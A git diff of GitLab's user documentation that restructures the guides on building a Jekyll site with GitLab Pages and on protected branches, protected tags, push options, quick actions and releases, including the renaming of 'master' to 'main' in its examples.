+To run [Jekyll](https://jekyllrb.com/) locally, you must install it:
-- Install [Bundler](https://bundler.io/) by running `gem install bundler`.
-- Create `Gemfile.lock` by running `bundle install`.
-- Install Jekyll by running `bundle exec jekyll build`.
+1. Open your terminal.
+1. Install [Bundler](https://bundler.io/) by running `gem install bundler`.
+1. Create `Gemfile.lock` by running `bundle install`.
+1. Install Jekyll by running `bundle exec jekyll build`.
-In the `.gitlab-ci.yml` file, this is written as:
+To run Jekyll in your project, edit the `.gitlab-ci.yml` file
+and add the installation commands:
```yaml
script:
@@ -109,7 +125,8 @@ pages:
Jekyll needs to know where to generate its output.
GitLab Pages only considers files in a directory called `public`.
-Jekyll uses destination (`-d`) to specify an output directory for the built website:
+Jekyll uses a destination flag (`-d`) to specify an output directory for the built website.
+Add the destination to your `.gitlab-ci.yml` file:
```yaml
pages:
@@ -136,7 +153,7 @@ pages:
- public
```
-Paste this into `.gitlab-ci.yml` file, so it now looks like this:
+Your `.gitlab-ci.yml` file should now look like this:
```yaml
image: ruby:2.7
@@ -151,23 +168,29 @@ pages:
- public
```
-Now save and commit the `.gitlab-ci.yml` file. You can watch the pipeline run
-by going to **CI/CD > Pipelines**.
+## Deploy and view your website
-When it succeeds, go to **Settings > Pages** to view the URL where your site
-is now available.
+After you have completed the preceding steps,
+deploy your website:
+
+1. Save and commit the `.gitlab-ci.yml` file.
+1. Go to **CI/CD > Pipelines** to watch the pipeline.
+1. When the pipeline succeeds, go to **Settings > Pages**
+ to view the URL where your site is now available.
+
+When this `pages` job completes successfully, a special `pages:deploy` job
+appears in the pipeline view. It prepares the content of the website for the
+GitLab Pages daemon. GitLab runs it in the background and doesn't use a runner.
+
+## Other options for your CI/CD file
If you want to do more advanced tasks, you can update your `.gitlab-ci.yml` file
-with [any of the available settings](../../../../ci/yaml/README.md). You can validate
+with [any of the available settings](../../../../ci/yaml/index.md). You can validate
your `.gitlab-ci.yml` file with the [CI Lint](../../../../ci/lint.md) tool that's included with GitLab.
-After successful execution of this `pages` job, a special `pages:deploy` job appears in the
-pipeline view. It prepares the content of the website for GitLab Pages daemon. GitLab executes it in
-the background and doesn't use runner.
-
The following topics show other examples of other options you can add to your CI/CD file.
-## Deploy specific branches to a Pages site
+### Deploy specific branches to a Pages site
You may want to deploy to a Pages site only from specific branches.
@@ -191,7 +214,8 @@ pages:
- public
```
-Then configure the pipeline to run the job for the `master` branch only.
+Then configure the pipeline to run the job for the
+[default branch](../../repository/branches/default.md) (here, `main`) only.
```yaml
image: ruby:2.7
@@ -209,17 +233,17 @@ pages:
paths:
- public
rules:
- - if: '$CI_COMMIT_BRANCH == "master"'
+ - if: '$CI_COMMIT_BRANCH == "main"'
```
-## Specify a stage to deploy
+### Specify a stage to deploy
There are three default stages for GitLab CI/CD: build, test,
and deploy.
If you want to test your script and check the built site before deploying
to production, you can run the test exactly as it runs when you
-push to `master`.
+push to your [default branch](../../repository/branches/default.md) (here, `main`).
To specify a stage for your job to run in,
add a `stage` line to your CI file:
@@ -241,11 +265,11 @@ pages:
paths:
- public
rules:
- - if: '$CI_COMMIT_BRANCH == "master"'
+ - if: '$CI_COMMIT_BRANCH == "main"'
```
Now add another job to the CI file, telling it to
-test every push to every branch **except** the `master` branch:
+test every push to every branch **except** the `main` branch:
```yaml
image: ruby:2.7
@@ -264,7 +288,7 @@ pages:
paths:
- public
rules:
- - if: '$CI_COMMIT_BRANCH == "master"'
+ - if: '$CI_COMMIT_BRANCH == "main"'
test:
stage: test
@@ -276,19 +300,19 @@ test:
paths:
- test
rules:
- - if: '$CI_COMMIT_BRANCH != "master"'
+ - if: '$CI_COMMIT_BRANCH != "main"'
```
When the `test` job runs in the `test` stage, Jekyll
builds the site in a directory called `test`. The job affects
-all branches except `master`.
+all branches except `main`.
When you apply stages to different jobs, every job in the same
stage builds in parallel. If your web application needs more than
one test before being deployed, you can run all your tests at the
same time.
-## Remove duplicate commands
+### Remove duplicate commands
To avoid duplicating the same scripts in every job, you can add them
to a `before_script` section.
@@ -317,7 +341,7 @@ pages:
paths:
- public
rules:
- - if: '$CI_COMMIT_BRANCH == "master"'
+ - if: '$CI_COMMIT_BRANCH == "main"'
test:
stage: test
@@ -327,10 +351,10 @@ test:
paths:
- test
rules:
- - if: '$CI_COMMIT_BRANCH != "master"'
+ - if: '$CI_COMMIT_BRANCH != "main"'
```
-## Build faster with cached dependencies
+### Build faster with cached dependencies
To build faster, you can cache the installation files for your
project's dependencies by using the `cache` parameter.
@@ -361,7 +385,7 @@ pages:
paths:
- public
rules:
- - if: '$CI_COMMIT_BRANCH == "master"'
+ - if: '$CI_COMMIT_BRANCH == "main"'
test:
stage: test
@@ -371,7 +395,7 @@ test:
paths:
- test
rules:
- - if: '$CI_COMMIT_BRANCH != "master"'
+ - if: '$CI_COMMIT_BRANCH != "main"'
```
In this case, you need to exclude the `/vendor`
@@ -386,10 +410,11 @@ exclude:
- vendor
```
-Now GitLab CI/CD not only builds the website,
-but also pushes with **continuous tests** to feature-branches,
-**caches** dependencies installed with Bundler, and
-**continuously deploys** every push to the `master` branch.
+Now GitLab CI/CD not only builds the website, but also:
+
+- Pushes with **continuous tests** to feature branches.
+- **Caches** dependencies installed with Bundler.
+- **Continuously deploys** every push to the `main` branch.
## Related topics
diff --git a/doc/user/project/pages/index.md b/doc/user/project/pages/index.md
index 1f5e1a6ab45..5a688fbb485 100644
--- a/doc/user/project/pages/index.md
+++ b/doc/user/project/pages/index.md
@@ -78,7 +78,7 @@ GitLab always deploys your website from a very specific folder called `public` i
repository. When you create a new project in GitLab, a [repository](../repository/index.md)
becomes available automatically.
-To deploy your site, GitLab uses its built-in tool called [GitLab CI/CD](../../../ci/README.md)
+To deploy your site, GitLab uses its built-in tool called [GitLab CI/CD](../../../ci/index.md)
to build your site and publish it to the GitLab Pages server. The sequence of
scripts that GitLab CI/CD runs to accomplish this task is created from a file named
`.gitlab-ci.yml`, which you can [create and modify](getting_started/pages_from_scratch.md).
diff --git a/doc/user/project/pages/introduction.md b/doc/user/project/pages/introduction.md
index 4d6a8653657..94656c91e98 100644
--- a/doc/user/project/pages/introduction.md
+++ b/doc/user/project/pages/introduction.md
@@ -22,7 +22,7 @@ In brief, this is what you need to upload your website in GitLab Pages:
1. Domain of the instance: domain name that is used for GitLab Pages
(ask your administrator).
-1. GitLab CI/CD: a `.gitlab-ci.yml` file with a specific job named [`pages`](../../../ci/yaml/README.md#pages) in the root directory of your repository.
+1. GitLab CI/CD: a `.gitlab-ci.yml` file with a specific job named [`pages`](../../../ci/yaml/index.md#pages) in the root directory of your repository.
1. A directory called `public` in your site's repository containing the content
to be published.
1. GitLab Runner enabled for the project.
@@ -129,7 +129,7 @@ See this document for a [step-by-step guide](getting_started/pages_from_scratch.
Remember that GitLab Pages are by default branch/tag agnostic and their
deployment relies solely on what you specify in `.gitlab-ci.yml`. You can limit
-the `pages` job with the [`only` parameter](../../../ci/yaml/README.md#only--except),
+the `pages` job with the [`only` parameter](../../../ci/yaml/index.md#only--except),
whenever a new commit is pushed to a branch used specifically for your
pages.
diff --git a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
index ce49699785e..978e35b3a9f 100644
--- a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
+++ b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
@@ -60,7 +60,7 @@ might be slightly different. Follow the
sudo certbot certonly -a manual -d example.com --email your@email.com
```
- Alternatively, you can register without adding an e-mail account,
+ Alternatively, you can register without adding an email account,
but you aren't notified about the certificate expiration's date:
```shell
diff --git a/doc/user/project/protected_branches.md b/doc/user/project/protected_branches.md
index 4b77236f808..4ff651891b2 100644
--- a/doc/user/project/protected_branches.md
+++ b/doc/user/project/protected_branches.md
@@ -13,24 +13,24 @@ further restrictions on certain branches, they can be protected.
The default branch for your repository is protected by default.
-## Who can access a protected branch
+## Who can modify a protected branch
-When a branch is protected, the default behavior enforces
-these restrictions on the branch.
+When a branch is protected, the default behavior enforces these restrictions on the branch.
-| Action | Who can do it |
-|--------------------------|---------------|
-| Protect a branch | Maintainers only. |
-| Push to the branch | GitLab administrators and anyone with **Allowed** permission. (*) |
-| Force push to the branch | No one. |
-| Delete the branch | No one. |
+| Action | Who can do it |
+|:-------------------------|:------------------------------------------------------------------|
+| Protect a branch | Maintainers only. |
+| Push to the branch | GitLab administrators and anyone with **Allowed** permission. (1) |
+| Force push to the branch | No one. |
+| Delete the branch | No one. |
-(*) Users with developer permissions can create a project in a group,
-but might not be allowed to initially push to the [default branch](repository/branches/default.md).
+1. Users with the Developer role can create a project in a group, but might not be allowed to
+ initially push to the [default branch](repository/branches/default.md).
-### Set the branch protection default level
+### Set the default branch protection level
-The default branch protection level is set in the [Admin Area](../admin_area/settings/visibility_and_access_controls.md#default-branch-protection).
+Administrators can set a default branch protection level in the
+[Admin Area](../admin_area/settings/visibility_and_access_controls.md#default-branch-protection).
## Configure a protected branch
@@ -43,140 +43,108 @@ To protect a branch:
1. Go to your project and select **Settings > Repository**.
1. Expand **Protected branches**.
1. From the **Branch** dropdown menu, select the branch you want to protect.
+1. From the **Allowed to merge** list, select a role, or group that can merge into this branch. In GitLab Premium, you can also add users.
+1. From the **Allowed to push** list, select a role, group, or user that can push to this branch. In GitLab Premium, you can also add users.
1. Select **Protect**.
-The protected branch displays in the **Protected branches** list.
+The protected branch displays in the list of protected branches.
-## Using the Allowed to merge and Allowed to push settings
+## Configure multiple protected branches by using a wildcard
-In GitLab 8.11 and later, we added another layer of branch protection which provides
-more granular management of protected branches. The **Developers can push**
-option was replaced by **Allowed to push**. You can set this value to allow
-or prohibit Maintainers and/or Developers to push to a protected branch.
-
-Using the **Allowed to push** and **Allowed to merge** settings, you can control
-the actions that different roles can perform with the protected branch.
-For example, you could set **Allowed to push** to "No one", and **Allowed to merge**
-to "Developers + Maintainers", to require everyone to submit a merge request for
-changes going into the protected branch. This is compatible with workflows like
-the [GitLab workflow](../../topics/gitlab_flow.md).
-
-However, there are workflows where that is not needed, and only protecting from
-force pushes and branch removal is useful. For those workflows, you can allow
-everyone with write access to push to a protected branch by setting
-**Allowed to push** to "Developers + Maintainers".
-
-You can set the **Allowed to push** and **Allowed to merge** options while creating
-a protected branch or afterwards by selecting the option you want from the
-dropdown list in the **Already protected** area.
-
-![Developers can push](img/protected_branches_devs_can_push_v12_3.png)
-
-If you don't choose any of those options while creating a protected branch,
-they are set to Maintainers by default.
-
-### Allow deploy keys to push to a protected branch
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30769) in GitLab 13.7.
-> - This feature is being selectively deployed in GitLab.com 13.7, and may not be available for all users.
-> - This feature is available for all users in GitLab 13.9.
-
-You can allow specific machines to access protected branches in your repository with
-[deploy keys](deploy_keys/index.md). This can be useful for your CI/CD workflow,
-for example.
-
-Deploy keys can be selected in the **Allowed to push** dropdown when:
+Prerequisite:
-- Defining a protected branch.
-- Updating an existing branch.
+- You must have at least the [Maintainer role](../permissions.md).
-Select a deploy key to allow the key's owner to push to the chosen protected branch,
-even if they aren't a member of the related project. The owner of the selected deploy
-key must have at least read access to the given project.
+To protect multiple branches at the same time:
-For a deploy key to be selectable:
+1. Go to your project and select **Settings > Repository**.
+1. Expand **Protected branches**.
+1. From the **Branch** dropdown menu, type the branch name and a wildcard.
+ For example:
-- It must be [enabled for your project](deploy_keys/index.md#how-to-enable-deploy-keys).
-- It must have [write access](deploy_keys/index.md#deploy-keys-permissions) to your project repository.
+ | Wildcard protected branch | Matching branches |
+ |---------------------------|--------------------------------------------------------|
+ | `*-stable` | `production-stable`, `staging-stable` |
+ | `production/*` | `production/app-server`, `production/load-balancer` |
+ | `*gitlab*` | `gitlab`, `gitlab/staging`, `master/gitlab/production` |
-Deploy keys are not available in the **Allowed to merge** dropdown.
+1. From the **Allowed to merge** list, select a role, or group that can merge into this branch. In GitLab Premium, you can also add users.
+1. From the **Allowed to push** list, select a role, group, or user that can push to this branch. In GitLab Premium, you can also add users.
+1. Select **Protect**.
-![Deploy keys on protected branches](img/protected_branches_deploy_keys_v13_5.png)
+The protected branch displays in the list of protected branches.
-## Restricting push and merge access to certain users **(PREMIUM)**
+## Create a protected branch
-With GitLab Premium you can restrict access to protected branches
-by choosing a role (Maintainers, Developers) and certain users. From the
-dropdown menu select the role and/or the users you want to have merge or push
-access.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53361) in GitLab 11.9.
-![Select roles and users](img/protected_branches_select_roles_and_users.png)
+Users with the Developer or higher [role](../permissions.md) can create a protected branch.
-Click **Protect** and the branch displays in the **Protected branch** list.
+Prerequisites:
-![Roles and users list](img/protected_branches_select_roles_and_users_list.png)
+- **Allowed to push** is set to **No one**
+- **Allowed to merge** is set to **Developers**.
-## Wildcard protected branches
+You can create a protected branch by using the UI or API only.
+This prevents you from accidentally creating a branch
+from the command line or from a Git client application.
-You can specify a wildcard protected branch, which protects all branches
-matching the wildcard. For example:
+To create a new branch through the user interface:
-| Wildcard Protected Branch | Matching Branches |
-|---------------------------|--------------------------------------------------------|
-| `*-stable` | `production-stable`, `staging-stable` |
-| `production/*` | `production/app-server`, `production/load-balancer` |
-| `*gitlab*` | `gitlab`, `gitlab/staging`, `master/gitlab/production` |
+1. Go to **Repository > Branches**.
+1. Select **New branch**.
+1. Fill in the branch name and select an existing branch, tag, or commit to
+ base the new branch on. Only existing protected branches and commits
+ that are already in protected branches are accepted.
-Protected branch settings, like **Developers can push**, apply to all matching
-branches.
+## Require everyone to submit merge requests for a protected branch
-Two different wildcards can potentially match the same branch. For example,
-`*-stable` and `production-*` would both match a `production-stable` branch.
-In that case, if _any_ of these protected branches have a setting like
-"Allowed to push", then `production-stable` also inherit this setting.
+You can force everyone to submit a merge request, rather than allowing them to check in directly
+to a protected branch. This is compatible with workflows like the [GitLab workflow](../../topics/gitlab_flow.md).
-If you click on a protected branch's name, GitLab displays a list of
-all matching branches:
+1. Go to your project and select **Settings > Repository**.
+1. Expand **Protected branches**.
+1. From the **Branch** dropdown menu, select the branch you want to protect.
+1. From the **Allowed to merge** list, select **Developers + Maintainers**.
+1. From the **Allowed to push** list, select **No one**.
+1. Select **Protect**.
-![Protected branch matches](img/protected_branches_matches.png)
+## Allow everyone to push directly to a protected branch
-## Create a protected branch
+You can allow everyone with write access to push to the protected branch.
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53361) in GitLab 11.9.
+1. Go to your project and select **Settings > Repository**.
+1. Expand **Protected branches**.
+1. From the **Branch** dropdown menu, select the branch you want to protect.
+1. From the **Allowed to push** list, select **Developers + Maintainers**.
+1. Select **Protect**.
-When a protected branch or wildcard protected branches are set to
-[**No one** is **Allowed to push**](#using-the-allowed-to-merge-and-allowed-to-push-settings),
-Developers (and users with higher [permission levels](../permissions.md)) are
-allowed to create a new protected branch as long as they are
-[**Allowed to merge**](#using-the-allowed-to-merge-and-allowed-to-push-settings).
-This can only be done by using the UI or through the API, to avoid creating protected
-branches accidentally from the command line or from a Git client application.
+## Allow deploy keys to push to a protected branch
-To create a new branch through the user interface:
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30769) in GitLab 13.7.
+> - This feature was selectively deployed in GitLab.com 13.7, and may not be available for all users.
+> - This feature is available for all users in GitLab 13.9.
-1. Go to **Repository > Branches**.
-1. Click on **New branch**.
-1. Fill in the branch name and select an existing branch, tag, or commit to
- base the new branch on. Only existing protected branches and commits
- that are already in protected branches are accepted.
+You can permit the owner of a [deploy key](deploy_keys/index.md) to push to a protected branch.
+The deploy key works, even if the user isn't a member of the related project. However, the owner of the deploy
+key must have at least read access to the project.
-## Delete a protected branch
+Prerequisites:
-From time to time, you may need to delete or clean up protected branches.
-User with the [Maintainer role](../permissions.md) and greater can manually delete protected
-branches by using the GitLab web interface:
+- The deploy key must be [enabled for your project](deploy_keys/index.md#how-to-enable-deploy-keys).
+- The deploy key must have [write access](deploy_keys/index.md#deploy-keys-permissions) to your project repository.
-1. Go to **Repository > Branches**.
-1. Click on the delete icon next to the branch you wish to delete.
-1. To prevent accidental deletion, an additional confirmation is required.
+To allow a deploy key to push to a protected branch:
- ![Delete protected branches](img/protected_branches_delete.png)
+1. Go to your project and select **Settings > Repository**.
+1. Expand **Protected branches**.
+1. From the **Branch** dropdown menu, select the branch you want to protect.
+1. From the **Allowed to push** list, select the deploy key.
+1. Select **Protect**.
-Deleting a protected branch is allowed only by using the web interface; not from Git.
-This means that you can't accidentally delete a protected branch from your
-command line or a Git client application.
+Deploy keys are not available in the **Allowed to merge** dropdown.
-## Allow force push on protected branches
+## Allow force push on a protected branch
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15611) in GitLab 13.10 behind a disabled feature flag.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/323431) in GitLab 14.0.
@@ -185,68 +153,74 @@ WARNING:
This feature might not be available to you. Check the **version history** note above for details.
You can allow [force pushes](../../topics/git/git_rebase.md#force-push) to
-protected branches by either setting **Allowed to force push**
-when you protect a new branch, or by configuring an already-protected branch.
+protected branches.
-To protect a new branch and enable Force push:
+To protect a new branch and enable force push:
-1. Navigate to your project's **Settings > Repository**.
-1. Expand **Protected branches**, and scroll to **Protect a branch**.
-1. Select a **Branch** or wildcard you'd like to protect.
-1. Select the user levels **Allowed to merge** and **Allowed to push**.
-1. To allow all users with push access to force push, toggle the **Allowed to force push** slider.
-1. To reject code pushes that change files listed in the `CODEOWNERS` file, toggle
- **Require approval from code owners**.
-1. Click **Protect**.
+1. Go to your project and select **Settings > Repository**.
+1. Expand **Protected branches**.
+1. From the **Branch** dropdown menu, select the branch you want to protect.
+1. From the **Allowed to push** and **Allowed to merge** lists, select the settings you want.
+1. To allow all users with push access to force push, turn on the **Allowed to force push** toggle.
+1. To reject code pushes that change files listed in the `CODEOWNERS` file, turn on the
+ **Require approval from code owners** toggle.
+1. Select **Protect**.
-To enable force pushes on branches already protected:
+To enable force pushes on branches that are already protected:
-1. Navigate to your project's **Settings > Repository**.
-1. Expand **Protected branches** and scroll to **Protected branch**.
-1. Toggle the **Allowed to force push** slider for the chosen branch.
+1. Go to your project and select **Settings > Repository**.
+1. Expand **Protected branches**.
+1. In the list of protected branches, next to the branch, turn on the **Allowed to force push** toggle.
-When enabled, members who are allowed to push to this branch can also force push.
+When enabled, members who are can push to this branch can also force push.
-## Protected branches approval by Code Owners **(PREMIUM)**
+## Require Code Owner approval on a protected branch **(PREMIUM)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13251) in GitLab Premium 12.4.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13251) in GitLab Premium 12.4.
+> - [In](https://gitlab.com/gitlab-org/gitlab/-/issues/35097) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5 and later, users and groups who can push to protected branches do not have to use a merge request to merge their feature branches. This means they can skip merge request approval rules.
-It is possible to require at least one approval by a
-[Code Owner](code_owners.md) to a file changed by the
-merge request. You can either set Code Owners approvals
-at the time you protect a new branch, or set it to a branch
-already protected, as described below.
+You can require at least one approval by a [Code Owner](code_owners.md) to a file changed by the
+merge request.
To protect a new branch and enable Code Owner's approval:
-1. Navigate to your project's **Settings > Repository** and expand **Protected branches**.
-1. Scroll down to **Protect a branch**, select a **Branch** or wildcard you'd like to protect, select who's **Allowed to merge** and **Allowed to push**, and toggle the **Require approval from code owners** slider.
-1. Click **Protect**.
+1. Go to your project and select **Settings > Repository**.
+1. Expand **Protected branches**.
+1. From the **Branch** dropdown menu, select the branch you want to protect.
+1. From the **Allowed to push** and **Allowed to merge** lists, select the settings you want.
+1. Turn on the **Require approval from code owners** toggle.
+1. Select **Protect**.
-To enable Code Owner's approval to branches already protected:
+To enable Code Owner's approval on branches that are already protected:
-1. Navigate to your project's **Settings > Repository** and expand **Protected branches**.
-1. Scroll down to **Protected branch** and toggle the **Code owner approval** slider for the chosen branch.
+1. Go to your project and select **Settings > Repository**.
+1. Expand **Protected branches**.
+1. In the list of protected branches, next to the branch, turn on the **Code owner approval** toggle.
-When enabled, all merge requests targeting these branches require approval
+When enabled, all merge requests for these branches require approval
by a Code Owner per matched rule before they can be merged.
Additionally, direct pushes to the protected branch are denied if a rule is matched.
-[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35097) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5, users and groups who are allowed to push to protected branches do not require a merge request to merge their feature branches. Thus, they can skip merge request approval rules.
+## Run pipelines on protected branches
-## Running pipelines on protected branches
-
-The permission to merge or push to protected branches is used to define if a user can
-run CI/CD pipelines and execute actions on jobs that are related to those branches.
+The permission to merge or push to protected branches defines
+whether or not a user can run CI/CD pipelines and execute actions on jobs.
See [Security on protected branches](../../ci/pipelines/index.md#pipeline-security-on-protected-branches)
for details about the pipelines security model.
-## Changelog
+## Delete a protected branch
+
+Users with the [Maintainer role](../permissions.md) and greater can manually delete protected
+branches by using the GitLab web interface:
+
+1. Go to **Repository > Branches**.
+1. Next to the branch you want to delete, select the **Delete** button (**{remove}**).
+1. On the confirmation dialog, type the branch name and select **Delete protected branch**.
-- **13.5**: [Allow Deploy keys to push to protected branches once more](https://gitlab.com/gitlab-org/gitlab/-/issues/30769).
-- **11.9**: [Allow protected branches to be created](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53361)
- by Developers (and users with higher permission levels) through the API and the user interface.
+You can delete a protected branch from the UI only.
+This prevents you from accidentally deleting a branch
+from the command line or from a Git client application.
<!-- ## Troubleshooting
diff --git a/doc/user/project/protected_tags.md b/doc/user/project/protected_tags.md
index 17a9cd5c8c6..b4e13aebdb2 100644
--- a/doc/user/project/protected_tags.md
+++ b/doc/user/project/protected_tags.md
@@ -9,15 +9,24 @@ type: reference, howto
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10356) in GitLab 9.1.
-Protected tags allow control over who has permission to create tags as well as preventing accidental update or deletion once created. Each rule allows you to match either an individual tag name, or use wildcards to control multiple tags at once.
+Protected tags:
+
+- Allow control over who has permission to create tags.
+- Prevent accidental update or deletion once created.
+
+Each rule allows you to match either:
+
+- An individual tag name.
+- Wildcards to control multiple tags at once.
This feature evolved out of [protected branches](protected_branches.md)
-## Overview
+## Who can modify a protected tag
+
+By default:
-Protected tags prevent anyone from updating or deleting the tag, and prevent
-creation of matching tags based on the permissions you have selected. By default,
-anyone without Maintainer [permissions](../permissions.md) is prevented from creating tags.
+- To create tags, you must have the [Maintainer role](../permissions.md).
+- No one can update or delete tags.
## Configuring protected tags
diff --git a/doc/user/project/push_options.md b/doc/user/project/push_options.md
index 728c682b009..c17133e72cf 100644
--- a/doc/user/project/push_options.md
+++ b/doc/user/project/push_options.md
@@ -39,7 +39,7 @@ You can use push options to skip a CI/CD pipeline, or pass CI/CD variables.
| Push option | Description | Introduced in version |
| ------------------------------ | ------------------------------------------------------------------------------------------- |---------------------- |
| `ci.skip` | Do not create a CI pipeline for the latest push. | [11.7](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/15643) |
-| `ci.variable="<name>=<value>"` | Provide [CI/CD variables](../../ci/variables/README.md) to be used in a CI pipeline, if one is created due to the push. | [12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/27983) |
+| `ci.variable="<name>=<value>"` | Provide [CI/CD variables](../../ci/variables/index.md) to be used in a CI pipeline, if one is created due to the push. | [12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/27983) |
An example of using `ci.skip`:
@@ -66,6 +66,7 @@ time as pushing changes:
| `merge_request.remove_source_branch` | Set the merge request to remove the source branch when it's merged. | [12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/64320) |
| `merge_request.title="<title>"` | Set the title of the merge request. Ex: `git push -o merge_request.title="The title I want"`. | [12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/64320) |
| `merge_request.description="<description>"` | Set the description of the merge request. Ex: `git push -o merge_request.description="The description I want"`. | [12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/64320) |
+| `merge_request.milestone="<milestone>"` | Set the milestone of the merge request. Ex: `git push -o merge_request.milestone="3.0"`. | [14.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63960) |
| `merge_request.label="<label>"` | Add labels to the merge request. If the label does not exist, it is created. For example, for two labels: `git push -o merge_request.label="label1" -o merge_request.label="label2"`. | [12.3](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/31831) |
| `merge_request.unlabel="<label>"` | Remove labels from the merge request. For example, for two labels: `git push -o merge_request.unlabel="label1" -o merge_request.unlabel="label2"`. | [12.3](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/31831) |
| `merge_request.assign="<user>"` | Assign users to the merge request. For example, for two users: `git push -o merge_request.assign="user1" -o merge_request.assign="user2"`. | [13.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25904) |
diff --git a/doc/user/project/quick_actions.md b/doc/user/project/quick_actions.md
index 45cb5e74d6c..d8d464ce6d8 100644
--- a/doc/user/project/quick_actions.md
+++ b/doc/user/project/quick_actions.md
@@ -69,11 +69,11 @@ threads. Some quick actions might not be available to all subscription tiers.
| `/duplicate <#issue>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Close this issue and mark as a duplicate of another issue. **(FREE)** Also, mark both as related. |
| `/epic <epic>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Add to epic `<epic>`. The `<epic>` value should be in the format of `&epic`, `group&epic`, or a URL to an epic. |
| `/estimate <time>` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Set time estimate. For example, `/estimate 1mo 2w 3d 4h 5m`. Learn more about [time tracking](time_tracking.md). |
-| `/invite_email email1 email2` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Add up to six email participants. This action is behind feature flag `issue_email_participants`. |
+| `/invite_email email1 email2` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Add up to six email participants. This action is behind feature flag `issue_email_participants` and is not yet supported in issue templates. |
| `/iteration *iteration:"iteration name"` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Set iteration. For example, to set the `Late in July` iteration: `/iteration *iteration:"Late in July"` ([introduced in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/issues/196795)). |
| `/label ~label1 ~label2` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Add one or more labels. Label names can also start without a tilde (`~`), but mixed syntax is not supported. |
| `/lock` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Lock the discussions. |
-| `/merge` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Merge changes. Depending on the project setting, this may be [when the pipeline succeeds](merge_requests/merge_when_pipeline_succeeds.md), or adding to a [Merge Train](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). |
+| `/merge` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Merge changes. Depending on the project setting, this may be [when the pipeline succeeds](merge_requests/merge_when_pipeline_succeeds.md), or adding to a [Merge Train](../../ci/pipelines/merge_trains.md). |
| `/milestone %milestone` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Set milestone. |
| `/move <path/to/project>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Move this issue to another project. |
| `/parent_epic <epic>` | **{dotted-circle}** No | **{dotted-circle}** No | **{check-circle}** Yes | Set parent epic to `<epic>`. The `<epic>` value should be in the format of `&epic`, `group&epic`, or a URL to an epic ([introduced in GitLab 12.1](https://gitlab.com/gitlab-org/gitlab/-/issues/10556)). |
diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md
index 71cbff9e545..3a25b148fdf 100644
--- a/doc/user/project/releases/index.md
+++ b/doc/user/project/releases/index.md
@@ -14,8 +14,11 @@ To introduce a checkpoint in your source code history, you can assign a
However, in most cases, your users need more than just the raw source code.
They need compiled objects or other assets output by your CI/CD system.
-A GitLab *Release* is a snapshot of the source, build output, artifacts, and other metadata
-associated with a released version of your code.
+A GitLab Release can be:
+
+- A snapshot of the source code of your repository.
+- [Generic packages](../../packages/generic_packages/index.md) created from job artifacts.
+- Other metadata associated with a released version of your code.
You can create a GitLab release on any branch. When you create a release:
@@ -59,8 +62,8 @@ You can create a release in the user interface, or by using the
We recommend using the API to create releases as one of the last steps in your
CI/CD pipeline.
-Only users with Developer permissions or higher can create releases.
-Read more about [Release permissions](../../../user/permissions.md#project-members-permissions).
+Only users with at least the Developer role can create releases.
+Read more about [Release permissions](#release-permissions).
To create a new release through the GitLab UI:
@@ -79,7 +82,7 @@ To create a new release through the GitLab UI:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19298) in GitLab 12.7.
-You can [create a release directly from the GitLab CI pipeline](../../../ci/yaml/README.md#release)
+You can [create a release directly from the GitLab CI pipeline](../../../ci/yaml/index.md#release)
by using a `release` node in the job definition.
The release is created only if the job processes without error. If the Rails API returns an error
@@ -99,8 +102,8 @@ release tag. When the `released_at` date and time has passed, the badge is autom
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26016) in GitLab 12.6. Asset link editing was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9427) in GitLab 12.10.
-Only users with Developer permissions or higher can edit releases.
-Read more about [Release permissions](../../../user/permissions.md#project-members-permissions).
+Only users with at least the Developer can edit releases.
+Read more about [Release permissions](#release-permissions).
To edit the details of a release:
@@ -242,7 +245,7 @@ but are _not_ allowed to view details about the Git repository (in particular,
tag names). Because of this, release titles are replaced with a generic
